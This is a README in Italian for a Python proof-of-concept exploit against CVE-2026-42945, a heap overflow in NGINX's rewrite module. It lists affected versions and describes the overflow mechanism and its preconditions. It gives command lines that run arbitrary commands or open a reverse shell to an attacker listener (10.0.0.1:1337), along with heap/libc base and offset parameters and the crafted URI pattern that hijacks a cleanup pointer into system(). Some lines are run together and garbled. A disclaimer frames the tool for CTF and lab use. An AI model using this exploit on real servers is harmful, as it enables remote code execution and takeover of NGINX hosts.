
PoC RCE in Python con listener reverse-shell per CVE-2026-42945 (NGINX Rift)
Proof-of-concept di esecuzione remota di codice per CVE-2026-42945, un overflow del buffer heap nel ngx_http_rewrite_module di NGINX. Questo fork estende il PoC di trigger pubblico con un listener di reverse shell integrato e parametri di sfruttamento configurabili per CTF e ambienti di laboratorio isolati.
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / 1.31.0; NGINX Plus R36 P4, R35 P2, R32 P6is_args = 0, mentre il passaggio di copia viene eseguito sul motore principale con is_args = 1, richiamando ngx_escape_uri(..., NGX_ESCAPE_ARGS). I byte escapabili si espandono di 3 byte ciascuno, facendo traboccare un buffer heap sottodimensionato con dati URI controllati dall'attaccante.rewrite/set vulnerabile che utilizza catture PCRE senza nome ($1, $2) più ? nella stringa di sostituzione; ASLR disabilitato o indirizzi di base heap/libc noti; capacità di eseguire heap spray tramite corpi di richieste POST.| File | Descrizione |
|---|---|
cve_2026_42945_rce_poc.py | Exploit Python con listener di reverse shell integrato e modalità di esecuzione dei comandi. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s: system@libc | pointer to command | null. Questi corpi occupano posizioni heap stabili.rewrite vulnerabile. Il modello URI è:
/api/<349 x 'A'><969 x '+'><6-byte heap address>
cleanup di un ngx_pool_t adiacente.cleanup corrotto invoca system(command), eseguendo il comando controllato dall'attaccante all'interno del processo worker di NGINX.--shell, il comando è un payload di reverse shell e il listener integrato intercetta la connessione in arrivo.Questo strumento è pensato per:
Non utilizzare su sistemi di cui non si è proprietari o per i quali non si ha un permesso esplicito di test.
Utilizzo a proprio rischio. L'autore non è responsabile per usi non autorizzati o illegali.
Ricerca originale sulla vulnerabilità e PoC di depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Questo fork Python con reverse shell è stato creato per l'uso in laboratori red team / CTF.